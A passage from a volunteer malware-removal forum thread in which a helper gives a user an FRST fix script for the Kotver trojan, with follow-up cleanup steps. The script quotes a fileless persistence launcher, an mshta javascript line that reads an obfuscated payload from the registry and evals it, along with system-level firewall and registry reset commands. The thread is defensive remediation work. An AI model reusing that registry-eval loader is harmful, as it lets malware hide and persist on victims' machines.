AlternateDataStreams: C:\ProgramData\TEMP:A2FF62A6 [280]
AlternateDataStreams: C:\ProgramData\TEMP:A31B5E9B [238]
AlternateDataStreams: C:\ProgramData\TEMP:A4076A3B [238]
AlternateDataStreams: C:\ProgramData\TEMP:A42FABF7 [266]
AlternateDataStreams: C:\ProgramData\TEMP:A43EC514 [124]
AlternateDataStreams: C:\ProgramData\TEMP:A4560327 [128]
AlternateDataStreams: C:\ProgramData\TEMP:A479BCC9 [190]
AlternateDataStreams: C:\ProgramData\TEMP:A4CDE823 [94]
AlternateDataStreams: C:\ProgramData\TEMP:A4F63AED [118]
AlternateDataStreams: C:\ProgramData\TEMP:A5584049 [135]
AlternateDataStreams: C:\ProgramData\TEMP:A558D81E [130]
AlternateDataStreams: C:\ProgramData\TEMP:A56D6987 [124]
AlternateDataStreams: C:\ProgramData\TEMP:A57239FA [296]
AlternateDataStreams: C:\ProgramData\TEMP:A57500CB [118]
AlternateDataStreams: C:\ProgramData\TEMP:A5948878 [150]
AlternateDataStreams: C:\ProgramData\TEMP:A5A2814C [132]
AlternateDataStreams: C:\ProgramData\TEMP:A5CD91DF [252]
AlternateDataStreams: C:\ProgramData\TEMP:A60D0FA6 [264]
AlternateDataStreams: C:\ProgramData\TEMP:A6345BDA [286]
AlternateDataStreams: C:\ProgramData\TEMP:A71DCB33 [149]
AlternateDataStreams: C:\ProgramData\TEMP:A745DB5D [220]
AlternateDataStreams: C:\ProgramData\TEMP:A7596EAE [133]
AlternateDataStreams: C:\ProgramData\TEMP:A76A1B1B [270]
AlternateDataStreams: C:\ProgramData\TEMP:A774141A [125]
AlternateDataStreams: C:\ProgramData\TEMP:A7856354 [189]
AlternateDataStreams: C:\ProgramData\TEMP:A7964713 [146]
AlternateDataStreams: C:\ProgramData\TEMP:A798EB56 [224]
AlternateDataStreams: C:\ProgramData\TEMP:A7BB14DF [129]
AlternateDataStreams: C:\ProgramData\TEMP:A7DA2BCD [107]
AlternateDataStreams: C:\ProgramData\TEMP:A88BE334 [134]
AlternateDataStreams: C:\ProgramData\TEMP:A8DFD30C [148]
AlternateDataStreams: C:\ProgramData\TEMP:A8F2382B [110]
AlternateDataStreams: C:\ProgramData\TEMP:A9562832 [121]
AlternateDataStreams: C:\ProgramData\TEMP:AAAAEECA [264]
AlternateDataStreams: C:\ProgramData\TEMP:AABCC5A7 [103]
AlternateDataStreams: C:\ProgramData\TEMP:AB3339EF [136]
AlternateDataStreams: C:\ProgramData\TEMP:AB6E0B6B [242]
AlternateDataStreams: C:\ProgramData\TEMP:ABE818FA [262]
AlternateDataStreams: C:\ProgramData\TEMP:AC733A73 [250]
AlternateDataStreams: C:\ProgramData\TEMP:AC83EA04 [112]
AlternateDataStreams: C:\ProgramData\TEMP:ACBEBDAA [149]
AlternateDataStreams: C:\ProgramData\TEMP:AD020DC3 [266]
AlternateDataStreams: C:\ProgramData\TEMP:ADAD2FFE [252]
AlternateDataStreams: C:\ProgramData\TEMP:ADF0A5DD [254]
AlternateDataStreams: C:\ProgramData\TEMP:AE75CCC8 [131]
AlternateDataStreams: C:\ProgramData\TEMP:AE8FDB48 [131]
AlternateDataStreams: C:\ProgramData\TEMP:AED4A2B7 [138]
AlternateDataStreams: C:\ProgramData\TEMP:AF191C57 [141]
AlternateDataStreams: C:\ProgramData\TEMP:AF54CFFD [111]
AlternateDataStreams: C:\ProgramData\TEMP:AFFA972E [132]
AlternateDataStreams: C:\ProgramData\TEMP:B1786630 [117]
AlternateDataStreams: C:\ProgramData\TEMP:B18C4339 [234]
AlternateDataStreams: C:\ProgramData\TEMP:B190BE3A [114]
AlternateDataStreams: C:\ProgramData\TEMP:B1E61D6A [200]
AlternateDataStreams: C:\ProgramData\TEMP:B1FCBEB0 [115]
AlternateDataStreams: C:\ProgramData\TEMP:B2112CA5 [130]
AlternateDataStreams: C:\ProgramData\TEMP:B285A50E [268]
AlternateDataStreams: C:\ProgramData\TEMP:B2EDDE72 [132]
AlternateDataStreams: C:\ProgramData\TEMP:B321E944 [294]
AlternateDataStreams: C:\ProgramData\TEMP:B337D07E [118]
AlternateDataStreams: C:\ProgramData\TEMP:B3606FCC [126]
AlternateDataStreams: C:\ProgramData\TEMP:B36361EE [127]
AlternateDataStreams: C:\ProgramData\TEMP:B38BEEEE [127]
AlternateDataStreams: C:\ProgramData\TEMP:B4530133 [141]
AlternateDataStreams: C:\ProgramData\TEMP:B47A7270 [126]
AlternateDataStreams: C:\ProgramData\TEMP:B4F0E275 [135]
AlternateDataStreams: C:\ProgramData\TEMP:B64F7263 [125]
AlternateDataStreams: C:\ProgramData\TEMP:B65E763D [262]
AlternateDataStreams: C:\ProgramData\TEMP:B67A5784 [248]
AlternateDataStreams: C:\ProgramData\TEMP:B6D84F71 [276]
AlternateDataStreams: C:\ProgramData\TEMP:B6E58523 [292]
AlternateDataStreams: C:\ProgramData\TEMP:B6E6C4EA [244]
AlternateDataStreams: C:\ProgramData\TEMP:B6FBC05A [306]
AlternateDataStreams: C:\ProgramData\TEMP:B709343D [280]
AlternateDataStreams: C:\ProgramData\TEMP:B761039D [177]
AlternateDataStreams: C:\ProgramData\TEMP:B762A0C2 [126]
AlternateDataStreams: C:\ProgramData\TEMP:B779C113 [252]
AlternateDataStreams: C:\ProgramData\TEMP:B845F669 [105]
AlternateDataStreams: C:\ProgramData\TEMP:B86642C5 [152]
AlternateDataStreams: C:\ProgramData\TEMP:B88DC997 [278]
AlternateDataStreams: C:\ProgramData\TEMP:B902F888 [128]
AlternateDataStreams: C:\ProgramData\TEMP:B91EDB04 [105]
AlternateDataStreams: C:\ProgramData\TEMP:B942A5C5 [139]
AlternateDataStreams: C:\ProgramData\TEMP:B96C57D4 [282]
AlternateDataStreams: C:\ProgramData\TEMP:B9710577 [115]
AlternateDataStreams: C:\ProgramData\TEMP:B9A18B9C [171]
AlternateDataStreams: C:\ProgramData\TEMP:B9C6EB6C [334]
AlternateDataStreams: C:\ProgramData\TEMP:B9E9A5F9 [256]
AlternateDataStreams: C:\ProgramData\TEMP:BA05E0C4 [212]
AlternateDataStreams: C:\ProgramData\TEMP:BA516E94 [143]
AlternateDataStreams: C:\ProgramData\TEMP:BACD3198 [252]
AlternateDataStreams: C:\ProgramData\TEMP:BB71BBA2 [212]
AlternateDataStreams: C:\ProgramData\TEMP:BBCB4421 [133]
AlternateDataStreams: C:\ProgramData\TEMP:BC064EDB [141]
AlternateDataStreams: C:\ProgramData\TEMP:BC2A20FD [240]
AlternateDataStreams: C:\ProgramData\TEMP:BC8E9899 [149]
AlternateDataStreams: C:\ProgramData\TEMP:BCDBBA6D [284]
AlternateDataStreams: C:\ProgramData\TEMP:BD0909FF [270]
AlternateDataStreams: C:\ProgramData\TEMP:BD8C785E [135]
AlternateDataStreams: C:\ProgramData\TEMP:BDAA2587 [192]
AlternateDataStreams: C:\ProgramData\TEMP:BDCD8531 [129]
AlternateDataStreams: C:\ProgramData\TEMP:BDD83DC4 [286]
AlternateDataStreams: C:\ProgramData\TEMP:BE0654D6 [134]
AlternateDataStreams: C:\ProgramData\TEMP:BE33915E [140]
AlternateDataStreams: C:\ProgramData\TEMP:BE621C19 [240]
AlternateDataStreams: C:\ProgramData\TEMP:BE6B5FC3 [145]
AlternateDataStreams: C:\ProgramData\TEMP:BEACE4C8 [260]
AlternateDataStreams: C:\ProgramData\TEMP:BEB6D0B2 [130]
AlternateDataStreams: C:\ProgramData\TEMP:BECA50FF [286]
AlternateDataStreams: C:\ProgramData\TEMP:BEF18713 [125]
AlternateDataStreams: C:\ProgramData\TEMP:BF2225C8 [138]
AlternateDataStreams: C:\ProgramData\TEMP:BF640EE5 [292]
AlternateDataStreams: C:\ProgramData\TEMP:BF6C81B2 [286]
AlternateDataStreams: C:\ProgramData\TEMP:BFE54417 [141]
AlternateDataStreams: C:\ProgramData\TEMP:C039C6AC [122]
AlternateDataStreams: C:\ProgramData\TEMP:C0893153 [286]
AlternateDataStreams: C:\ProgramData\TEMP:C0A504B9 [258]
AlternateDataStreams: C:\ProgramData\TEMP:C0A9B815 [140]
AlternateDataStreams: C:\ProgramData\TEMP:C0DFB793 [260]
AlternateDataStreams: C:\ProgramData\TEMP:C186F20B [234]
AlternateDataStreams: C:\ProgramData\TEMP:C1F1392C [290]
AlternateDataStreams: C:\ProgramData\TEMP:C356A185 [294]
AlternateDataStreams: C:\ProgramData\TEMP:C36B1175 [109]
AlternateDataStreams: C:\ProgramData\TEMP:C36D0DFD [254]
AlternateDataStreams: C:\ProgramData\TEMP:C370B84F [250]
AlternateDataStreams: C:\ProgramData\TEMP:C37283B5 [272]
AlternateDataStreams: C:\ProgramData\TEMP:C3C72D5F [238]
AlternateDataStreams: C:\ProgramData\TEMP:C3D26A8A [252]
AlternateDataStreams: C:\ProgramData\TEMP:C4288847 [124]
AlternateDataStreams: C:\ProgramData\TEMP:C45094A1 [148]
AlternateDataStreams: C:\ProgramData\TEMP:C48905F4 [276]
AlternateDataStreams: C:\ProgramData\TEMP:C4CB6EA6 [146]
AlternateDataStreams: C:\ProgramData\TEMP:C5DC2B0C [286]
AlternateDataStreams: C:\ProgramData\TEMP:C605E0E1 [141]
AlternateDataStreams: C:\ProgramData\TEMP:C67CB31A [123]
AlternateDataStreams: C:\ProgramData\TEMP:C6D0ABC3 [286]
AlternateDataStreams: C:\ProgramData\TEMP:C72A744C [286]
AlternateDataStreams: C:\ProgramData\TEMP:C771E1BC [206]
AlternateDataStreams: C:\ProgramData\TEMP:C7857F06 [238]
AlternateDataStreams: C:\ProgramData\TEMP:C78DADEA [124]
AlternateDataStreams: C:\ProgramData\TEMP:C7973317 [114]
AlternateDataStreams: C:\ProgramData\TEMP:C7C3B621 [290]
AlternateDataStreams: C:\ProgramData\TEMP:C7F08EA3 [228]
AlternateDataStreams: C:\ProgramData\TEMP:C8207070 [137]
AlternateDataStreams: C:\ProgramData\TEMP:C85CD339 [204]
AlternateDataStreams: C:\ProgramData\TEMP:C87C3E2C [137]
AlternateDataStreams: C:\ProgramData\TEMP:C8E82994 [111]
AlternateDataStreams: C:\ProgramData\TEMP:C946EBB2 [278]
AlternateDataStreams: C:\ProgramData\TEMP:C94DB16A [130]
AlternateDataStreams: C:\ProgramData\TEMP:C9CDDE5E [244]
AlternateDataStreams: C:\ProgramData\TEMP:CA1AFE85 [138]
AlternateDataStreams: C:\ProgramData\TEMP:CA23BCFD [230]
AlternateDataStreams: C:\ProgramData\TEMP:CA400C1B [145]
AlternateDataStreams: C:\ProgramData\TEMP:CAE3AE67 [133]
AlternateDataStreams: C:\ProgramData\TEMP:CB0EB1DE [119]
AlternateDataStreams: C:\ProgramData\TEMP:CB52BE62 [114]
AlternateDataStreams: C:\ProgramData\TEMP:CB959782 [190]
AlternateDataStreams: C:\ProgramData\TEMP:CBAB74CB [144]
AlternateDataStreams: C:\ProgramData\TEMP:CC073296 [240]
AlternateDataStreams: C:\ProgramData\TEMP:CC4C59B4 [119]
AlternateDataStreams: C:\ProgramData\TEMP:CC6A54A8 [123]
AlternateDataStreams: C:\ProgramData\TEMP:CCB49694 [136]
AlternateDataStreams: C:\ProgramData\TEMP:CD270D5A [128]
AlternateDataStreams: C:\ProgramData\TEMP:CD5D93E7 [280]
AlternateDataStreams: C:\ProgramData\TEMP:CD6DF7CC [234]
AlternateDataStreams: C:\ProgramData\TEMP:CD9109D4 [129]
AlternateDataStreams: C:\ProgramData\TEMP:CDCDE97C [248]
AlternateDataStreams: C:\ProgramData\TEMP:CF391C0F [246]
AlternateDataStreams: C:\ProgramData\TEMP:CF538410 [230]
AlternateDataStreams: C:\ProgramData\TEMP:CFA8C6E3 [260]
AlternateDataStreams: C:\ProgramData\TEMP:D02FBAEC [204]
AlternateDataStreams: C:\ProgramData\TEMP:D0AD4EA5 [256]
AlternateDataStreams: C:\ProgramData\TEMP:D0DCD8D7 [236]
AlternateDataStreams: C:\ProgramData\TEMP:D1B5B4F1 [210]
AlternateDataStreams: C:\ProgramData\TEMP:D1FCF7DE [149]
AlternateDataStreams: C:\ProgramData\TEMP:D254266B [140]
AlternateDataStreams: C:\ProgramData\TEMP:D2A66480 [228]
AlternateDataStreams: C:\ProgramData\TEMP:D31BE97C [123]
AlternateDataStreams: C:\ProgramData\TEMP:D390A6A7 [276]
AlternateDataStreams: C:\ProgramData\TEMP:D3A82449 [268]
AlternateDataStreams: C:\ProgramData\TEMP:D3E445EE [258]
AlternateDataStreams: C:\ProgramData\TEMP:D3F93F73 [220]
AlternateDataStreams: C:\ProgramData\TEMP:D4558A0B [266]
AlternateDataStreams: C:\ProgramData\TEMP:D46D2E5A [218]
AlternateDataStreams: C:\ProgramData\TEMP:D47B19A6 [140]
AlternateDataStreams: C:\ProgramData\TEMP:D4BB0AD6 [137]
AlternateDataStreams: C:\ProgramData\TEMP:D4D3884D [230]
AlternateDataStreams: C:\ProgramData\TEMP:D5151683 [130]
AlternateDataStreams: C:\ProgramData\TEMP:D51F4BAE [137]
AlternateDataStreams: C:\ProgramData\TEMP:D59DE356 [130]
AlternateDataStreams: C:\ProgramData\TEMP:D5CCCBAA [130]
AlternateDataStreams: C:\ProgramData\TEMP:D5DAEF21 [222]
AlternateDataStreams: C:\ProgramData\TEMP:D5E0200E [260]
AlternateDataStreams: C:\ProgramData\TEMP:D5F1E592 [130]
AlternateDataStreams: C:\ProgramData\TEMP:D64467B5 [182]
AlternateDataStreams: C:\ProgramData\TEMP:D696AA12 [286]
AlternateDataStreams: C:\ProgramData\TEMP:D72D7897 [254]
AlternateDataStreams: C:\ProgramData\TEMP:D73E8730 [137]
AlternateDataStreams: C:\ProgramData\TEMP:D7C0213D [144]
AlternateDataStreams: C:\ProgramData\TEMP:D8139E6A [212]
AlternateDataStreams: C:\ProgramData\TEMP:D890DD02 [244]
AlternateDataStreams: C:\ProgramData\TEMP:D8D58038 [256]
AlternateDataStreams: C:\ProgramData\TEMP:D93AABC7 [140]
AlternateDataStreams: C:\ProgramData\TEMP:D9592966 [123]
AlternateDataStreams: C:\ProgramData\TEMP:D9656460 [256]
AlternateDataStreams: C:\ProgramData\TEMP:D987CB43 [153]
AlternateDataStreams: C:\ProgramData\TEMP:D9F34335 [450]
AlternateDataStreams: C:\ProgramData\TEMP:D9FA218A [109]
AlternateDataStreams: C:\ProgramData\TEMP:DA24A961 [135]
AlternateDataStreams: C:\ProgramData\TEMP:DA886912 [155]
AlternateDataStreams: C:\ProgramData\TEMP:DA9A88B3 [117]
AlternateDataStreams: C:\ProgramData\TEMP:DAE3649B [248]
AlternateDataStreams: C:\ProgramData\TEMP:DAEA514C [100]
AlternateDataStreams: C:\ProgramData\TEMP:DB2748F7 [112]
AlternateDataStreams: C:\ProgramData\TEMP:DB4C77AD [68]
AlternateDataStreams: C:\ProgramData\TEMP:DB77E2C4 [260]
AlternateDataStreams: C:\ProgramData\TEMP:DD04902E [122]
AlternateDataStreams: C:\ProgramData\TEMP:DD6F157A [113]
AlternateDataStreams: C:\ProgramData\TEMP:DDA730F9 [368]
AlternateDataStreams: C:\ProgramData\TEMP:DDF112BD [133]
AlternateDataStreams: C:\ProgramData\TEMP:DE3ABE3D [140]
AlternateDataStreams: C:\ProgramData\TEMP:DE47A3DA [240]
AlternateDataStreams: C:\ProgramData\TEMP:DE875C30 [141]
AlternateDataStreams: C:\ProgramData\TEMP:DEE38664 [140]
AlternateDataStreams: C:\ProgramData\TEMP:DF0DB8AB [141]
AlternateDataStreams: C:\ProgramData\TEMP:DF5ABA3D [252]
AlternateDataStreams: C:\ProgramData\TEMP:E07EA07E [280]
AlternateDataStreams: C:\ProgramData\TEMP:E14FA16F [280]
AlternateDataStreams: C:\ProgramData\TEMP:E1610EDC [282]
AlternateDataStreams: C:\ProgramData\TEMP:E18702AE [137]
AlternateDataStreams: C:\ProgramData\TEMP:E1CC2D5E [222]
AlternateDataStreams: C:\ProgramData\TEMP:E1D06077 [133]
AlternateDataStreams: C:\ProgramData\TEMP:E1E51784 [256]
AlternateDataStreams: C:\ProgramData\TEMP:E21433CE [254]
AlternateDataStreams: C:\ProgramData\TEMP:E21987F7 [148]
AlternateDataStreams: C:\ProgramData\TEMP:E2295807 [145]
AlternateDataStreams: C:\ProgramData\TEMP:E22EA304 [138]
AlternateDataStreams: C:\ProgramData\TEMP:E2CB42C9 [94]
AlternateDataStreams: C:\ProgramData\TEMP:E2DDFA62 [135]
AlternateDataStreams: C:\ProgramData\TEMP:E326D1D1 [163]
AlternateDataStreams: C:\ProgramData\TEMP:E32966C0 [110]
AlternateDataStreams: C:\ProgramData\TEMP:E329D971 [286]
AlternateDataStreams: C:\ProgramData\TEMP:E369983A [124]
AlternateDataStreams: C:\ProgramData\TEMP:E3B5F2D1 [143]
AlternateDataStreams: C:\ProgramData\TEMP:E3E08656 [151]
AlternateDataStreams: C:\ProgramData\TEMP:E40D7F76 [272]
AlternateDataStreams: C:\ProgramData\TEMP:E4EE99EF [125]
AlternateDataStreams: C:\ProgramData\TEMP:E51234A9 [242]
AlternateDataStreams: C:\ProgramData\TEMP:E56502D3 [220]
AlternateDataStreams: C:\ProgramData\TEMP:E690114B [196]
AlternateDataStreams: C:\ProgramData\TEMP:E6BEADB7 [274]
AlternateDataStreams: C:\ProgramData\TEMP:E6C6EB3B [133]
AlternateDataStreams: C:\ProgramData\TEMP:E6CDFB4A [218]
AlternateDataStreams: C:\ProgramData\TEMP:E6D027BB [240]
AlternateDataStreams: C:\ProgramData\TEMP:E732B44B [141]
AlternateDataStreams: C:\ProgramData\TEMP:E7626764 [128]
AlternateDataStreams: C:\ProgramData\TEMP:E774F04D [123]
AlternateDataStreams: C:\ProgramData\TEMP:E7B49FBF [124]
AlternateDataStreams: C:\ProgramData\TEMP:E83EE313 [262]
AlternateDataStreams: C:\ProgramData\TEMP:E894A3ED [246]
AlternateDataStreams: C:\ProgramData\TEMP:E895790F [134]
AlternateDataStreams: C:\ProgramData\TEMP:E8A2D82B [149]
AlternateDataStreams: C:\ProgramData\TEMP:E8C44CB4 [280]
AlternateDataStreams: C:\ProgramData\TEMP:E8FF27EA [141]
AlternateDataStreams: C:\ProgramData\TEMP:E9495818 [262]
AlternateDataStreams: C:\ProgramData\TEMP:E9645B80 [274]
AlternateDataStreams: C:\ProgramData\TEMP:E96D894A [118]
AlternateDataStreams: C:\ProgramData\TEMP:EA10407C [472]
AlternateDataStreams: C:\ProgramData\TEMP:EAF3ADF5 [0]
AlternateDataStreams: C:\ProgramData\TEMP:EAF954B6 [250]
AlternateDataStreams: C:\ProgramData\TEMP:EAFDF1CF [216]
AlternateDataStreams: C:\ProgramData\TEMP:EB333CFC [146]
AlternateDataStreams: C:\ProgramData\TEMP:EB40BC91 [116]
AlternateDataStreams: C:\ProgramData\TEMP:EB4FEEF5 [274]
AlternateDataStreams: C:\ProgramData\TEMP:EB68CA55 [286]
AlternateDataStreams: C:\ProgramData\TEMP:EB86F355 [298]
AlternateDataStreams: C:\ProgramData\TEMP:EB9E6360 [130]
AlternateDataStreams: C:\ProgramData\TEMP:EBCF5924 [232]
AlternateDataStreams: C:\ProgramData\TEMP:EC3A9923 [121]
AlternateDataStreams: C:\ProgramData\TEMP:EC769091 [143]
AlternateDataStreams: C:\ProgramData\TEMP:EC855C73 [114]
AlternateDataStreams: C:\ProgramData\TEMP:EC925502 [141]
AlternateDataStreams: C:\ProgramData\TEMP:EC9FFAA4 [178]
AlternateDataStreams: C:\ProgramData\TEMP:ECF3C50F [228]
AlternateDataStreams: C:\ProgramData\TEMP:ED2998F5 [250]
AlternateDataStreams: C:\ProgramData\TEMP:ED640949 [118]
AlternateDataStreams: C:\ProgramData\TEMP:ED810E46 [194]
AlternateDataStreams: C:\ProgramData\TEMP:EDC744FB [143]
AlternateDataStreams: C:\ProgramData\TEMP:EDD903C5 [106]
AlternateDataStreams: C:\ProgramData\TEMP:EDE28CFC [133]
AlternateDataStreams: C:\ProgramData\TEMP:EE198B1F [272]
AlternateDataStreams: C:\ProgramData\TEMP:EE2B5DE3 [155]
AlternateDataStreams: C:\ProgramData\TEMP:EE3A2438 [190]
AlternateDataStreams: C:\ProgramData\TEMP:EEFA1B22 [280]
AlternateDataStreams: C:\ProgramData\TEMP:EF0C5444 [124]
AlternateDataStreams: C:\ProgramData\TEMP:EF38B79C [264]
AlternateDataStreams: C:\ProgramData\TEMP:EF4FB3C5 [222]
AlternateDataStreams: C:\ProgramData\TEMP:EFBD4447 [464]
AlternateDataStreams: C:\ProgramData\TEMP:EFE7D3C9 [286]
AlternateDataStreams: C:\ProgramData\TEMP:EFF3C3C8 [233]
AlternateDataStreams: C:\ProgramData\TEMP:F001F3C1 [134]
AlternateDataStreams: C:\ProgramData\TEMP:F0892928 [286]
AlternateDataStreams: C:\ProgramData\TEMP:F0897332 [292]
AlternateDataStreams: C:\ProgramData\TEMP:F0A06891 [113]
AlternateDataStreams: C:\ProgramData\TEMP:F0E908D5 [127]
AlternateDataStreams: C:\ProgramData\TEMP:F0F90DC6 [252]
AlternateDataStreams: C:\ProgramData\TEMP:F1175E1D [274]
AlternateDataStreams: C:\ProgramData\TEMP:F14D1F80 [396]
AlternateDataStreams: C:\ProgramData\TEMP:F19A4790 [138]
AlternateDataStreams: C:\ProgramData\TEMP:F1C0B203 [208]
AlternateDataStreams: C:\ProgramData\TEMP:F1E651F6 [105]
AlternateDataStreams: C:\ProgramData\TEMP:F2AF86D9 [208]
AlternateDataStreams: C:\ProgramData\TEMP:F2B81C2E [135]
AlternateDataStreams: C:\ProgramData\TEMP:F301EDA7 [136]
AlternateDataStreams: C:\ProgramData\TEMP:F3029A65 [246]
AlternateDataStreams: C:\ProgramData\TEMP:F33C37D5 [238]
AlternateDataStreams: C:\ProgramData\TEMP:F39FAB77 [136]
AlternateDataStreams: C:\ProgramData\TEMP:F3A27FDE [272]
AlternateDataStreams: C:\ProgramData\TEMP:F4039384 [130]
AlternateDataStreams: C:\ProgramData\TEMP:F41E22A9 [238]
AlternateDataStreams: C:\ProgramData\TEMP:F41FEB14 [129]
AlternateDataStreams: C:\ProgramData\TEMP:F437A62A [109]
AlternateDataStreams: C:\ProgramData\TEMP:F45F3031 [124]
AlternateDataStreams: C:\ProgramData\TEMP:F52DB269 [126]
AlternateDataStreams: C:\ProgramData\TEMP:F53B274A [298]
AlternateDataStreams: C:\ProgramData\TEMP:F5B51004 [284]
AlternateDataStreams: C:\ProgramData\TEMP:F5B69884 [110]
AlternateDataStreams: C:\ProgramData\TEMP:F5E8CAE0 [135]
AlternateDataStreams: C:\ProgramData\TEMP:F5E90ED3 [129]
AlternateDataStreams: C:\ProgramData\TEMP:F610C203 [286]
AlternateDataStreams: C:\ProgramData\TEMP:F663BB74 [262]
AlternateDataStreams: C:\ProgramData\TEMP:F6A0889A [238]
AlternateDataStreams: C:\ProgramData\TEMP:F75FE298 [152]
AlternateDataStreams: C:\ProgramData\TEMP:F7FFE8AF [139]
AlternateDataStreams: C:\ProgramData\TEMP:F8104EE7 [108]
AlternateDataStreams: C:\ProgramData\TEMP:F860DBFD [202]
AlternateDataStreams: C:\ProgramData\TEMP:F89F2593 [137]
AlternateDataStreams: C:\ProgramData\TEMP:F8A53745 [288]
AlternateDataStreams: C:\ProgramData\TEMP:F8AC0D6D [256]
AlternateDataStreams: C:\ProgramData\TEMP:F8F070C2 [238]
AlternateDataStreams: C:\ProgramData\TEMP:F9153E10 [127]
AlternateDataStreams: C:\ProgramData\TEMP:F9283DA1 [234]
AlternateDataStreams: C:\ProgramData\TEMP:F92AD177 [117]
AlternateDataStreams: C:\ProgramData\TEMP:F934AFF3 [276]
AlternateDataStreams: C:\ProgramData\TEMP:F9689B72 [136]
AlternateDataStreams: C:\ProgramData\TEMP:F9EDCFB0 [286]
AlternateDataStreams: C:\ProgramData\TEMP:FA206A00 [220]
AlternateDataStreams: C:\ProgramData\TEMP:FA29CA24 [135]
AlternateDataStreams: C:\ProgramData\TEMP:FAB64002 [141]
AlternateDataStreams: C:\ProgramData\TEMP:FAC7C0A8 [131]
AlternateDataStreams: C:\ProgramData\TEMP:FB65A4AA [131]
AlternateDataStreams: C:\ProgramData\TEMP:FB71A279 [135]
AlternateDataStreams: C:\ProgramData\TEMP:FBE5FDB9 [288]
AlternateDataStreams: C:\ProgramData\TEMP:FBF21B24 [140]
AlternateDataStreams: C:\ProgramData\TEMP:FC2D0F32 [242]
AlternateDataStreams: C:\ProgramData\TEMP:FC2E567F [210]
AlternateDataStreams: C:\ProgramData\TEMP:FC8E37E0 [212]
AlternateDataStreams: C:\ProgramData\TEMP:FCBEDCFD [128]
AlternateDataStreams: C:\ProgramData\TEMP:FD000392 [290]
AlternateDataStreams: C:\ProgramData\TEMP:FD2BFC89 [234]
AlternateDataStreams: C:\ProgramData\TEMP:FDD17FC9 [106]
AlternateDataStreams: C:\ProgramData\TEMP:FDDD8917 [382]
AlternateDataStreams: C:\ProgramData\TEMP:FE26780F [140]
AlternateDataStreams: C:\ProgramData\TEMP:FEB0595A [240]
AlternateDataStreams: C:\ProgramData\TEMP:FED25C29 [137]
AlternateDataStreams: C:\ProgramData\TEMP:FEF0DEE7 [111]
AlternateDataStreams: C:\ProgramData\TEMP:FF747CFB [139]
AlternateDataStreams: C:\ProgramData\TEMP:FFD42BAF [202]
AlternateDataStreams: C:\ProgramData\TEMP:FFD58FFB [292]
HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\Classes\c05a2be9: "C:\Windows\system32\mshta.exe" "javascript:uk4fLv="T";Nr8=new ActiveXObject("WScript.Shell");jdkdn0="i5yfH";a4Q6sY=Nr8.RegRead("HKCU\\software\\syruuhc\\kdziyg");i4Btebt="7OxR";eval(a4Q6sY);sNlAQ7S7="laf";" <===== ATTENTION
DeleteKey: HKCU\\software\\syruuhc
MSCONFIG\Services: MpsSvc => 2
MSCONFIG\startupreg: SunJavaUpdateSched => "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe"
cmd: ipconfig /flushdns
cmd: netsh advfirewall reset
cmd: netsh advfirewall set allprofiles state on
Reg: reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
Reg: reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
CMD: bitsadmin /reset /allusers
RemoveProxy:
EmptyTemp:
Reboot:
end

NOTE. It's important that both files, FRST64 and fixlist.txt are in the same location or the fix will not work.

NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system

Start FRST that is on the desktop by right clicking on file and selecting "Run as Administrator..." and press the Fix button just once and wait.

If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.
When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.

LAST >>>>

INFO TO REPLY WITH:
How is your system running now?
How did the System Restore 'fix' go?
The Fixlog.txt text file (you should be able to attach this file; no need for wikisend.com usually).
Any questions you have?

sasha22
New Helpee

Posts: 12

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 26, 2016 6:24:04 GMT -8

Post by sasha22 on Oct 26, 2016 6:24:04 GMT -8

Fixlog.txt (214.45 KB)

The fix went well. I have had my system on for about 5 hours and no Norton's popup saying the Trojan.kotver!gm2 was found and to restart pc to complete the removal.

So, it appears to be fixed. Thank you so much.

Is there something I can do so that I won't get this again?

Should I now delete all the files I created for this issue? i.e. FRST64.exe, FRST.txt, addition.txt, and fixlog.txt

Also, my system did no show that the System Restore was disabled.

I did find under Disk Space Usage to be set at a max usage of 1% (9.17gb)

I have changed this to 30% (275.22gb)

What should (or is the best) this be set at?

sasha22
New Helpee

Posts: 12

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 26, 2016 6:33:41 GMT -8

Post by sasha22 on Oct 26, 2016 6:33:41 GMT -8

Sorry, I hit the create post before I was ready.

Do you also help with other issues? I don't have any right now but just wanted to know?

If so what types of issues?

Do you do the Trojan fix on your own time?

Thanks for all your time and help, it is greatly appreciated.

Sasha22 (Diana)

dbrisen
Malware Removalists

Posts: 3,688

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 27, 2016 7:43:45 GMT -8

Post by dbrisen on Oct 27, 2016 7:43:45 GMT -8

That's good news about Norton not finding Kotver any more; yes, it looks like the script file removed the malware.

That is strange about System Restore; the log showed some abnormalities about the service but that could have been just the scanner itself.

I do this work on my own time and it is 'volunteered' time. Sorry for taking so long to reply but I had some issues with my own system yesterday. As to other help, I offer what I can and can recommend other good forums if the issue is beyond my comfort level but mainly I now focus on fighting malware. All questions are welcome however.

Let's get a close look for any left overs ....

FIRST >>>>

Junkware Removal Tool
Please download JRT from here to your desktop.

Note: Temporarily disable/shut down your protection software now to avoid potential conflicts, how to do so can be read here.

Double click the JRT.exe file to run the application.

The application will open an Command Prompt window and run from there (this is normal for this program, so not to be alarmed).

When it is asked, press any key to allow the program to continue / run.

This will create a log on the desktop; please copy and paste the JRT.txt log text in your next post.

Note: After the log file is created, please enable your protection software / reboot your system and verify your protection software is enabled.

SECOND >>>>

AdwCleaner by Xplode

Download AdwCleaner from here or from here. Save the file to the desktop.

NOTE: If you are using IE 8 or above you may get a warning that stops the program from downloading. Just click on the warning and allow the download to complete.

Close all open windows and browsers.

Vista/7/8 users: Right click the AdwCleaner icon on the desktop, click Run as administrator and accept the UAC prompt to run AdwCleaner.
You will see the following console:

Click the Scan button and wait for the scan to finish.

After the Scan has finished the window may or may not show what it found and above, in the progress bar, you will see: Waiting for action. Please uncheck elements you don't want to remove.

Click the Clean button.

Everything checked will be deleted.

When the program has finished cleaning a report appears.

Once done it will ask to reboot, allow this

On reboot a log will be produced please copy / paste that in your next reply. This report is also saved to C:\AdwCleaner\AdwCleaner[C#].txt

Optional:
